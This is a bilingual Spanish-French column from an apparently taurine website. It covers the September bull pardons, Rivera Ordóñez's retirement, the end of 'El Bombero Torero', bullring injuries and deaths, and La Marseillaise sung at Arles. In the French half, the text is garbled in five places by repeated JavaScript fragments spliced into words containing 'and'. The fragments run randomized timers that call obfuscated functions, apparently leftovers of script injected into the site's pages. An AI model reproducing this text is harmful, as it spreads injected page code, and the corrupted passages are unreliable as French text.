[:es]ECUADOR DE SEPTIEMBRE[:fr]EQUATEUR DE SEPTEMBRE[:]

[:es]

Traspasa la temporada el ecuador de septiembre, el mes por excelencia de las novilladas convertido hogaño en el de los indultos, hasta el punto de amenazar con convertir en norma lo que sólo debería ser excepción. Que yo sepa, tan sólo en ocho días –los que van del 8 al 15 de septiembre, ambos inclusive–, se han registrado cinco: el día 8, en Valladolid, El Juli indulta al cuarto toro de Daniel Ruiz; el 9, en Albacete, es Roca Rey quien obtiene el perdón del cuarto de Domingo Hernández; el 11, en Arganda del Rey, Carlos Ochoa indulta al cuarto novillo de Fernando Peña; el 12, en Baza, Juan José Padilla hace lucir el pañuelo naranja en honor al sexto astado de Jandilla, y el viernes 15, en Fuenlabrada, Francisco José Espada perdona la vida del segundo toro de Alcurrucén. Indultos a los que hay que añadir el acaecido el 3 de septiembre en Alcázar de San Juan, donde Miguel Ángel Perera paseó las orejas y rabo simbólicos del toro de Torrealta corrido en quinto lugar.

Hay quien sostiene que esto siempre es bueno para la Fiesta, sin embargo me da a mí que detrás de tanto indulto, además de los inevitables intereses particulares de ganaderos y toreros implicados, se divisa el plumero de un “buenismo” que lleva implícita la asunción o aceptación de buena parte del discurso animalista y su cacareado “maltrato animal”. Digo esto porque en no pocas ocasiones es la única manera de entender la concesión de tan alto premio a reses que por su juego en la lidia, salvo tal vez por su nobleza, no se han hecho acreedoras de ganarlo. Espero que –del mal, el menos– los ganaderos sean coherentes con sus criterios selectivos y no metan en las vacas a toros perdonados que lo único que pueden hacer es infestar el campo de mansos, algo que desgraciadamente ya ha ocurrido en otras ocasiones.

Lo que va de mes nos ha dejado otras muchas cosas, entre ellas la siempre nostálgica nota de la despedida. El sábado, 2 de septiembre, en la corrida goyesca de Ronda, se cortaba definitivamente la coleta Francisco Rivera Ordóñez, poniendo broche a su carrera de veintidós años de alternativa con las dos orejas conseguidas al sobrero de Jandilla que regaló. Y el viernes, día 15, en Almodóvar del Campo, ponía fin a su andadura por los ruedos del mundo el espectáculo cómico-taurino-musical “El Bombero Torero”, después de sesenta y cuatro años de hacer las delicias de chicos y grandes, de engordar los bolsillos de los empresarios con sus llenos y de servir de vivero a tanto aspirante a la gloria que, en su parte seria, consiguió placearse lo suficiente como para intentar después empresas mayores en el arte de Cúchares. Es una pérdida irreparable, que se lleva con ella una parte importantísima de la intrahistoria del toreo.

El dolor y el luto tampoco podían faltar en este mosaico septembrino. De hecho, el mes estrenaba calendario con la gravísima cogida, en la plaza peruana de Cotabambas, del novillero Rolly Pezo, a consecuencia de la cual perdió el ojo izquierdo y le dejó el cerebro sembrado de coágulos y esquirlas de huesos. Pero donde la muerte pondría esquelas a la Fiesta sería en Portugal. En el país hermano, dos forçados perdieron la vida en el desempeño de su profesión. El primero, Pedro Primo, a consecuencia de las graves lesiones sufridas durante una pega en la corrida celebrada el día 2 de septiembre en la plaza de Cuba; el segundo, Fernando Quintela, por el impacto sufrido en el coso de Moita de Ribatejo, la noche del 15 de septiembre. Descansen en paz y viva su memoria.

Sin embargo, no quiero que sea el duelo, sino el orgullo y la emoción quienes cierren este artículo. El pasado sábado, 9 de septiembre, durante la goyesca de Arles, un antitaurino saltó al ruedo con intenciones de agredir a El Juli, cosa que no llegó a ocurrir por la rápida intervención de las fuerzas de seguridad. No obstante, ante lo que el público arlesiano consideró una injerencia intolerable, una falta de respeto a su cultura y tradición, la plaza entera puesta en pie, como una sola alma, comenzó a cantar La Marsellesa. Las ardientes notas compuestas por Rouget de Lisle volvieron una vez más a reclamar libertad, igualdad y fraternidad e implícitamente respeto al toreo y su cultura. Lección de grandeza y orgullo que deberíamos tener muy en cuenta aquí en España.

[:fr]

Passé l’équateur de septembre, le mois par excellence des novilladas transformé maintenant en celui des indultos, au point de menacer de transformer la norme en ce qui devrait être uniquement l’exception. Que je sache, en huit jours seulement –à compter du 8 et jusqu’au 15 septembre, tous deux inclus- il y a eu cinq de comptabilisés : le 8, à Valladolid, El Juli gracie le quatrième toro de Daniel Ruiz ; le 9, à Albacete, c’est Roca Rey qui l’obtient du quatrième de Domingo Hernández ; le 12, à Baza, Juan José Padilla voit sortir le mouchoir orange en honneur au sixième toro de Jandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andilla et le vendredi 15, à Fuenlabrada, Francisco José Espada fait gracier le second toro d’Alcurrucén.

Des indultos auxquels il faut ajouter celui du 3 septembre à Alcazar de San Juan, où Miguel Angel Perera fit un tour de piste avec les oreilles et la queue symboliques du toro de Torrealta sorti cinquième.

Il y en a qui soutiennent que ceci est toujours bon pour la Corrida, cependant j’ai l’impression que derrière autant d’indultos, hormis les inévitables intérêts particuliers des éleveurs et toreros impliqués, il y a comme une espèce de « bonté » qui porte avec elle l’adhésion ou l’acceptation d’une bonne part du discours des anti et de leur fameuse « maltraitance animale ». Je dis cela car assez souvent on ne peut comprendre autrement l’attribution de si haute récompense pour du bétail dont le comportement, à l’exception de leur noblesse, ne méritait pas de l’avoir. J’espère en tout cas que les éleveurs sont cohérents avec leurs critères sélectifs et qu’ils ne mettront pas des vaches pour ces toros graciés qui peuvent infester les élevages de toros mansos, comme cela est déjà arrivé.

Mais au cours de ces jours écoulés de septembre on a vu d’autres choses, parmi elles de nostalgiques adieux. Le 2 septembre dernier, à la corrida goyesque de Ronda, Francisco Rivera Ordoñez coupait définitivement sa « coleta », mettant fin à une carrière de 22 ans depuis son alternative, avec les deux oreilles qu’il remporta du sobrero de Jandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andilla qu’il offrit. Et le vendredi 15 septembre à Almodóvar del Campo marquait la fin des aventures de part le monde du spectacle comique-taurin-musical- du « Bombero Torero », après soixante-quatre années régalant petits et grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands, remplissant les poches des organisateurs en remplissant les arènes et servant de vivier à tant d’aspirants à la gloire qui, dans la partie sérieuse du spectacle, avaient réussi à acquérir suffisamment d’expérience dans l’art de Cúchares comme pour prétendre des entreprises majeures. C’est une perte irréparable, qui emporte avec elle une partie très importante de l’histoire intime de la tauromachie.

La douleur et le deuil ne pouvaient pas non plus manquer dans cette mosaïque de septembre. De fait, le mois commençait avec le gravissime coup de corne dans les arènes péruviennes de Cotabambas du novillero Rolly Pezo, qui y perdit l’œil gauche et eut le cerveau semé de caillots et d’esquilles d’os. Mais où la mort se présenterait ce serait au Portugal. Dans ce pays frère, deux forcados ont perdu la vie en exerçant leur métier. Le premier, Pedro Primo, suite à de graves lésions après une « pega » lors de la corrida du 2 septembre aux arènes de Cuba ; le second, Fernandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando Quintanela, après l’impact subi à Moita de Ribatejo, la nuit du 15 septembre. Qu’ils reposent en paix et que vive leur mémoire.

Cependant, je ne veux pas que ce soit le deuil qui clôture cet article mais la fierté et l’émotion. Samedi 9 septembre, lors de la Goyesque d’Arles, un anti s’est lancé en piste avec l’intention d’agresser El Juli mais il n’y est pas parvenu grâce à l’intervention rapide des forces de sécurité. Or, devant ce que le public arlésien considéra comme une ingérence intolérable, un manque de respect à leur culture et à leur tradition, les arènes se mirent debout, comme un seul homme, pour chanter la Marseillaise. Les notes ardentes composées par Rouget de Lisle clamèrent une nouvelle fois la liberté, l’égalité et la fraternité et implicitement le respect à la tauromachie et à sa culture. Une leçon d’orgueil et de grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andeur dont nous devrions tenir compte ici en Espagne.

[:]

Les commentaires sont fermés.